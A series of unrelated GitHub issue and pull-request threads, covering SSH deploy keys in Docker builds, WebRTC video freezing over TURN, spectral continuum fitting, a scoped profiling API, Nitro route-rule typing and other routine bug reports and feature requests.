Hi,
I saw a lot of issues regarding this topic, but I have not found the solution for my problem so far:
STR:

configure deploy keys according to https://github.com/webfactory/ssh-agent#support-for-github-deploy-keys
try to clone the repositories and everything works as expected and all private repos were successfully cloned

- name: Setup SSH Keys and known_hosts
    uses<EMAIL_ADDRESS>    with:
    ssh-private-key: |
        ${{ secrets.REPO1 }}
        ${{ secrets.REPO2 }}

- name: Clone repos
    run: |
    git clone git@github.com:Test/repo1.git
    git clone git@github.com:Test/repo2.git

Configuring deployment key(s)
Added deploy-key mapping: Use identity '/home/runner/.ssh/key-blabla11' for GitHub repository Test/repo1.git
Added deploy-key mapping: Use identity '/home/runner/.ssh/key-blabla22' for GitHub repository Test/repo2.git

create docker file and try to clone the same repos during the docker image build

- name: Build and push
    id: docker_build
    uses: docker/build-push-action@v2
    with:
    ssh: |
        default=${{ env.SSH_AUTH_SOCK }}

here is a part of the docker file:
# https://docs.docker.com/develop/develop-images/build_enhancements/#using-ssh-to-access-private-data-in-builds
RUN apt-get update && \
    apt-get install --yes --no-install-recommends \
    openssh-client \
    git \
    && apt-get clean

# Download public key for github.com
RUN mkdir -p -m 0600 ~/.ssh && ssh-keyscan github.com >> ~/.ssh/known_hosts
ENV GIT_SSH_COMMAND="ssh -vvv"
RUN --mount=type=ssh echo $(ssh-add -l) && echo $SSH_AUTH_SOCK
RUN --mount=type=ssh git git@github.com:Test/repo1.git
RUN --mount=type=ssh git git@github.com:Test/repo2.git

Actual Result:

only the first repo was successfully cloned during docker image building

according to debug log git clone command uses the first key and git command fails

9 [builder  4/13] RUN mkdir -p -m 0600 ~/.ssh && ssh-keyscan github.com >> ~/.ssh/known_hosts
#9 0.721 # github.com:22 SSH-2.0-babeld-00610741
#9 0.887 # github.com:22 SSH-2.0-babeld-00610741
#9 1.049 # github.com:22 SSH-2.0-babeld-00610741
#9 DONE 1.2s
#10 [builder  5/13] RUN --mount=type=ssh echo $(ssh-add -l) && echo $SSH_AUTH_SOCK
#10 0.304 256 SHA256:/blablabla1 git@github.com:Test/repo1.git (ED25519) 256 SHA256:blablabla2 git@github.com:Test/repo2.git (ED25519)
#10 0.304 /run/buildkit/ssh_agent.0
#10 DONE 0.3s
#11 [builder  6/13] RUN --mount=type=ssh git clone git@github.com:Test/repo2.git
#11 0.442 Cloning into 'repo2'...
#11 0.750 OpenSSH_7.9p1 Debian-10+deb10u2, OpenSSL 1.1.1d  10 Sep 2019
#11 0.751 debug1: Reading configuration data /etc/ssh/ssh_config
#11 0.757 debug1: /etc/ssh/ssh_config line 19: Applying options for *
#11 0.758 debug2: resolving "github.com" port 22
#11 0.760 debug2: ssh_connect_direct
#11 0.760 debug1: Connecting to github.com [<IP_ADDRESS>] port 22.
#11 0.796 debug1: Connection established.
#11 0.995 debug1: Will attempt key: git@github.com:Test/repo1.git ED25519 SHA256:/blablabla1 agent
#11 0.995 debug1: Will attempt key: git@github.com:Test/repo2.git ED25519 SHA256:blablabla2 agent
#11 1.075 debug1: Offering public key: git@github.com:Test/repo1.git ED25519 SHA256:/blablabla1 agent
#11 1.075 debug3: send packet: type 50
#11 1.075 debug2: we sent a publickey packet, wait for reply
#11 1.121 debug3: receive packet: type 60
#11 1.121 debug1: Server accepts key: git@github.com:Test/repo1.git ED25519 SHA256:/blablabla1 agent
#11 1.339 Please make sure you have the correct access rights
#11 1.339 and the repository exists.

for some reason, the magic with selecting the proper ssh key does not work inside of dokcer container, while it works directly on the Github runner server...

Does #78 help?

@mpdude thank you for the reference and quick reply. Unfortunately the solution is hucky, so I will have to think about different approach.


One way video when using TURN

I can run bowser in iPad Pro. When i run the demo.openwebrtc.org inside the LAN (i.e. bowser on iPad Pro and Chrome browser on Win 7, so STUN case), the performance is very nice. Great job. Thanks a lot.
When i run the same test on WAN (i.e. bowser on iPad Pro at my home and Chrome browser on Win 7 at my friend home, so TURN case), the rtc connection via ICE can be made successfully quickly. However, my friend camera is frozen after a few seconds on bowser. However, my friend can see my camera very smoothly at his side all the times.
Besides, i have developed another webrtc script. I can run it perfectly on desktop browsers. When i run ut in bowser on iPad Pro, i get one-way video issue even in LAN environment (i.e. STUN case). Chrome browser on Win 7 can see my bowser's camera smoothly and clearly after joining the room. However, bowser cannot see the Win7 camera at all.
May i ask what i can check to fix this issue? Do you encounter similar problem?
Thank you very much for your help and advice.

Others have reported issues with TURN and we are looking in to it. Will keep you posted, thanks.

Nice to hear that Bowser runs well on the iPad Pro btw, we haven't tried it ourselves :smiley:

Thanks Stefanalund.
I have 1 more finding about the frozen camera video with TURN. After the remote camera is shown smoothly for a few seconds, the camera is frozen. However, i can still hear the remote sound clearly.
Besides, i also encounter the same issue of datachannel which is mentioned in https://github.com/EricssonResearch/bowser/issues/53.
Nonetheless, i love Bowser in iPad Pro very much.
Thanks again.

Question. Is SCReAM enabled?. There has earlier been some issues with RTCP feedback in one direction that caused SCReAM to malfuntion
Ingemar
Skickat från min iPhone
7 mars 2016 kl. 04:38 skrev pongponglau <notifications<EMAIL_ADDRESS>Thanks Stefanalund.
I have 1 more finding about the frozen camera video with TURN. After the remote camera is shown smoothly for a few seconds, the camera is frozen. However, i can still hear the remote sound clearly.
Besides, i also encounter the same issue of datachannel which is mentioned in #53https://github.com/EricssonResearch/bowser/issues/53.
Nonetheless, i love Bowser in iPad Pro very much.
Thanks again.
—
Reply to this email directly or view it on GitHubhttps://github.com/EricssonResearch/bowser/issues/79#issuecomment-193076449.

If you run Bowser <-> Bowser SCReAM should be enabled.

I use bowser on ipad while my friend users Chrome on win7. So this is neither bowser<->bowser nor bowser<->owr client. In this case, does SCReAM work?
My friend can always see my camera smoothly but my friend's camera showing in bowser is frozen most of the time (it runs smoothly in the first few seconds, then it is frozen and after quite a long time, it may run for a few seconds before it goes frozen again).
If i run the openwebrtc demo page in Chrome on my Win7 notebook with my friend under the same network setup, both cameras run very smoothly on both sides.
Thanks a lot for your help.

For your information again, audio has no such problem, and i can hear my friend's sound in bowser clearly during his camera is frozen.

Thanks a lot

@alessandrod is looking in to this.

Thank you Stefanalund and alessandrod. Wish this problem can be fixed soon.

I'm looking into TURN bugs. I don't thinks it's useful to have a meta-bug for TURN so i'm going to report the issues individually.

https://github.com/EricssonResearch/openwebrtc/issues/589

We're going to track TURN failures here https://github.com/EricssonResearch/openwebrtc/issues/575

Thank you for your information and great support.


rewrite of the smooth continuum algorithm for speed and stability

Partly motivated by #171, this PR contains a rewrite of the smooth continuum algorithm. Instead of relying on a median-smoothing of the residual spectrum in sliding bins, we now use scipy.interpolate.UnivariateSpline, which has the advantage of using the inverse variance as a statistical weight.
Here's one example that was previously quite problematic: main-dark-9196-39633010890377403.
New algorithm:

Old algorithm:

Note especially how the wings of the broad Halpha line are compromised in the current vs the new algorithm.

For completeness, here are two other diagnostic plots which are related to the smooth-continuum modeling (for the example object shown at the top of this PR):
This first figure shows the initial line-fitting which is done in order to get a good estimate of the line-widths and, in particular, to determine if there are broad Balmer lines present. The line-widths, in turn, determine how aggressively to mask the data before continuum-fitting:

And the second figure shows the line-masking, which includes an effort to determine the signal-to-noise ratio of each line (poorly detected lines are not masked because they won't impact the continuum-fitting):

In the example shown above, the data reduction is good; however, there are cases like the ones shown in https://github.com/desihub/desispec/issues/2193 where there are large inter-camera breaks.
For example, fitting all three cameras simultaneously for the following object leads to unsatisfactory results:
fastspec /global/cfs/cdirs/desi/spectro/redux/iron/tiles/cumulative/80605/20210205/redrock-7-80605-thru20210205.fits \
  --targetids<PHONE_NUMBER>7795663 -o f.fits --debug-plots

Instead, with the updates to the code, each camera can be fitted independently, which yields nice results. (This all supposes, of course, that the redshift is correct, which, in this case it's not; nevertheless, I think this is the behavior we want):

And here's the final result / fit:

I've also taken the opportunity in this PR to update how we estimate the "continuum fluxes", namely the fluxes at 1450, 1500, 1700, 2800, 3000, and 5100 Angstrom (rest) and at 1215.67, 3728.48, 4862.71, 5008.24, and 6564.6 Angstrom (i.e., the continuum level under Lyman-alpha, [OII], H-beta, [OIII] 5007, and H-alpha).
In main, we use a median-smooth, which is slow. Here, I've switched to computing sigma-clipped statistics and to fitting a simple line to the data. I've also added a new diagnostic plot (which revealed at least one bug---we were using the continuum model which included emission lines, rather than the line-free model):
Here's an example where the algorithm works quite nicely:

And here's an example where Lyman-alpha and [OII] aren't perfect because of the age of the stellar population; however, the error is <10% and probably adequate for this PR:


bug(autocomplete): deselect the other options when the user select an option

Fixes #3689

@jefersonestevo looks like this change needs unit tests as well

@kara there are any other changes needed here?


Use scope-like API for instrumentor

Unless I am not mistaken, most of the end statements are in the same scope than the corresponding begin. So I suggest to use API that would leverages scopes like scoped_lock for instance.
Instead of:
if (nrn_have_gaps) {
    Instrumentor::phase_begin("gap-v-transfer");
    nrnthread_v_transfer(_nt);
    Instrumentor::phase_end("gap-v-transfer");
}

have something like:
if (nrn_have_gaps) {
    Instrumentor::phase p("gap-v-transfer");
    nrnthread_v_transfer(_nt);
}

This improvement comes from #156

Hi @tristan0x, I read the occurrence of all such API usage, can I work on this?

I will ask @pramodk to perform the triage of the issues so that it is easier for you to know what you can do to help us. But yes, I think you can start implementing this. Do not hesitate to ask questions.
Thanks!

I completed Instrumentor in my fork branch. I'm writing Caliper using https://llnl.github.io/Caliper/AnnotationAPI.html#function-annotations then  CUDA_PROFILING, Tau, CRAYPAT. I think NullInstrumentor shouldn't have a implementation? Please let me know if I am missing anything.

I completed Instrumentor in my fork branch. I'm writing Caliper using https://llnl.github.io/Caliper/AnnotationAPI.html#function-annotations. Can you please let me know if  the implementation is required in  CUDA_PROFILING, Tau, CRAYPAT and NullInstrumentor as well. There is nearly no usage of these?

I'm quite confused reading https://github.com/BlueBrain/CoreNeuron/blob/master/coreneuron/nrniv/profiler_interface.h#L44-L56, what else should be added? do you suggest adding a timer interface as for all profiler interface is already there.

I'm quite confused reading https://github.com/BlueBrain/CoreNeuron/blob/master/coreneuron/nrniv/profiler_interface.h#L44-L56, what else should be added? do you suggest adding a timer interface as for all profiler interface is already there I think.

I'm quite confused reading https://github.com/BlueBrain/CoreNeuron/blob/master/coreneuron/nrniv/profiler_interface.h, what else should be added? do you suggest adding a timer interface as for all profiler interface is already there I think. Are there any other functionalities I should add in profiler_interface?

I'm quite confused reading https://github.com/BlueBrain/CoreNeuron/blob/master/coreneuron/nrniv/profiler_interface.h, are there any other functionalities I should add in profiler_interface? do you suggest adding a timer interface as for all profiler interface is already there I think.

I completed Instrumentor in my fork branch. I'm writing Caliper using https://llnl.github.io/Caliper/AnnotationAPI.html#function-annotations. Can you please let me know if the implementation is required in CUDA_PROFILING, Tau, CRAYPAT and NullInstrumentor as well. There is nearly no usage of these?

The new Instrumentor scoped API you need to write should be independent from the real implementation (Caliper, Tau, ...). This new phase C++ struct should call the phase_begin function in its constructor and phase_end in its destructor.
I read your change in your fork branch, few remarks:

I cannot see the implementation of  Instrumentor::phase struct. Did you forget to push it?

instances of this struct may be destructed as soon as phase_end may be called. For instance:
// initialization and loading functions moved to separate
{
    Instrumentor::phase p("load-model");
    nrn_init_and_load_data(argc, argv, !configs.empty());
}

std::string checkpoint_path = nrnopt_get_str("--checkpoint");
if (strlen(checkpoint_path.c_str())) {
    nrn_checkpoint_arg_exists = true;
}
std::string output_dir = nrnopt_get_str("--outpath");

if (nrnmpi_myid == 0) {
    mkdir_p(output_dir.c_str());
}

Instead of:
// initialization and loading functions moved to separate
Instrumentor::phase p("load-model");
nrn_init_and_load_data(argc, argv, !configs.empty());

std::string checkpoint_path = nrnopt_get_str("--checkpoint");
if (strlen(checkpoint_path.c_str())) {
    nrn_checkpoint_arg_exists = true;
}
std::string output_dir = nrnopt_get_str("--outpath");

if (nrnmpi_myid == 0) {
    mkdir_p(output_dir.c_str());
}    ````


Progress bar stripes damaged

Hi
For some reason stripes look like that now:

And animation loop is broken - visible jumps.

Resolved, thanks!


Dev metadata

@jeffliu-LL Feel free to review if you like. This PR is a mix of house keeping and bug fixes, but it should get the tutorial repo in a near final state for this summer. I'm expecting another PR after this that will include more documentation, if you like to wait to review the next one.

@rearley516 , I just added an easy issue #20. Please address this and make sure the PR is up to date. Once that is completed, I'll review again and expected to merge the PR #18 then.

@ragarciafran, you maybe interested in this pull request that demonstrates how to add GIS context using the imagery metadata


Remove --verbose flag for validate

This should be properly handled by setting the --logMode

Done in #209


Trying to persist receipt.original_json_response leads to 'Stack level too deep' error

It occurs on receipt.original_json_response.as_json. The receipt is auto-renewable one if that matters.
pry(main)> receipt.original_json_response.as_json
SystemStackError: stack level too deep

The issue stems from the fact that the json is self-referencing:
pry(main)> receipt.original_json_response.object_id == receipt.original_json_response['receipt']['original_json_response'].object_id
=> true

Workaround is removing the self-referencing key:
receipt.original_json_response['receipt'].delete 'original_json_response'

Fixed in #41.


Wikipedia link corrected in Moneropedia articles

While translating Moneropedia, i found out that the link to wikipedia /etc/hosts page was wrong.
The page is not under https://en.wikipedia.org/wiki/Etc/hosts anymore but under https://en.wikipedia.org/wiki/Hosts_(file)
This correct the link for all occurence of it in all moneropedia article of all languages:

cannonicaly-unique host
locally-unique host
subscription

Tested ok.


fix(types): exclude non serializable options from route rules

🔗 Linked issue
closes #977
❓ Type of change

[ ] 📖 Documentation (updates to the documentation or readme)
[ ] 🐞 Bug fix (a non-breaking change that fixes an issue)
[ ] 👌 Enhancement (improving an existing functionality like performance)
[ ] ✨ New feature (a non-breaking change that adds functionality)
[ ] ⚠ Breaking change (fix or feature that would cause existing functionality to change)

📚 Description
We were wrongly typing non-supported cache options (nonserializable functions) for cache key in routeRules.
📝 Checklist

[ ] I have linked an issue or discussion.
[ ] I have updated the documentation accordingly.

cc @danielroe if you know a smarter way to auto-exclude all non-pojos feel free to change it.

I find getKey still invalid in routeRules > cache, in nitro.config.js
here is my config
nitro: {         devStorage: {             'v_pc': {                 driver: 'redis',                 /* redis connector options */                 port: 6379, // Redis port                 host: 'localhost', // Redis host                 db: 0, // Defaults to 0                 maxRetriesPerRequest: 2,             },         },         routeRules: {             '/**': {                 cache: {                     name: 'my_name',                     swr: false,                     maxAge: 6 * 60,                     base: 'v_pc',                     getKey: () => 'hhhiii',                 },             },         },     },
I console.log in here (in route-rules.mjs file),
const config = useRuntimeConfig(); console.log('config.nitro.routeRules', config.nitro.routeRules) const _routeRulesMatcher = toRouteMatcher(   createRadixRouter({ routes: config.nitro.routeRules }) );
getKey is lost
config.nitro.routeRules {                                                                                '/__nuxt_error': { cache: false },   '/**': { cache: { name: 'my_name', swr: false, maxAge: 360, base: 'v_pc' } } }
I guess this is a bug. getKey is lost In the process of delivery.


store custom strings

Currently, Thyme offers a mechanism to store custom floating point data, keyed by strings, in the theme.  Add similar functionality to store custom strings as well.

As of a49a63ebd586435b3a5470a7712a50eb9215d528 we store custom floats, ints, and strings.  Adding more cases should be easy.


Exposed results of wilcoxon

Hi - I have made accessible the results of the wilcoxon test, such as the p-value.

Ah, I guess that's an issue for all the tests then. Thank you.

Let me turn that into a trait then.

And done!

Oh wow, that's great! Thank you so much!


Add new_key() and set() to Connector

Describe the Request
This is a preemptive change for an upcoming change in the Connector protocol in ProxyStore.
See: https://github.com/proxystore/proxystore/issues/393
Sample Code
No response
Additional Code or Information
No response

Closing because the structure of the DIMKey means we need to know (1) the size of the object when calling new_key() and (2) the peer which will store the object.